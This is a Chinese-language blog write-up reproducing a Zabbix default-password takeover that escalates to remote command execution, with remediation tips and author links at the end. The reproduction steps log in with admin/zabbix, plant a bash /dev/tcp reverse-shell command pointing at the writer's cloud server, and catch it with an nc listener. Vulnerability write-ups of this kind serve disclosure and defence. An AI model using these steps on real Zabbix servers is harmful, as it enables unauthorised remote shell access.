如果你坚持了自己的梦想,全世界都会为你让路。
一、漏洞说明
zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案(百度百科定义)。很多Zabbix的admin口令使用了初始账号:admin,密码:zabbix。攻击者破解口令之后可以创建“system.run[command,]”( 这个监控项是agent自带的,使zabbix server可以远程在agent的机器上执行任意命令)监控项执行命令,甚至获取服务器shell(漏洞具体描述)。
二、漏洞复现
1.利用弱口令漏洞进入网站
初始账号:admin,密码:zabbix
漏洞证明如下图所示
2. 利用nc写入反弹shell命令
(1)依次点击菜单栏:管理、脚本、创建脚本,配置如下图
(2)写入反弹shell的命令
bash -i >& /dev/tcp/云服务器的公网IP/7777 0>&1
(3)依次点击菜单栏:监测、仪表盘、问题,找到一个主机,单击刚刚创建的脚本
3.设置云服务器配置
配置云服务器(这一步根据自己的服务器的情况来看),在这里我用的是某云的ECS云服务器,其它服务器请自行配置
(1)在菜单栏依次点击进入实例、本例安全组、配置规则
(2)在菜单栏依次点击入方向、手动添加,配置如下图,分别是TCP协议,第二步反弹shell监听的端口,以及源:0.0.0.0/0(入方向端口不能访问,怎么反弹shell,手动滑稽)
4.nc监听
以上操作完成后,打开我们的云服务器用nc监听
执行命令:nc -lvp 7777即可获得shell
5.zabbix网页命令执行
如果在第二步创建脚本时直接写入命令执行参数,那么依次点击菜单栏:监测、仪表盘、问题,找到一个主机,单击刚刚创建的脚本,即可成功执行该命令
三、修复建议
1、zabbix的登录口令一定要复杂,不要用默认口令或弱口令;
2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
3、禁止agent执行system.run,不要设置EnableRemoteCommands=1
4、经常打安全补丁,或者升级系统版本,如果系统内核版本过低有漏洞的话,即使在zabbix用户下照样能获取root权限
四、结束语
证明此漏洞存在即可,请自觉遵守《中华人民共和国网络安全法》。
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85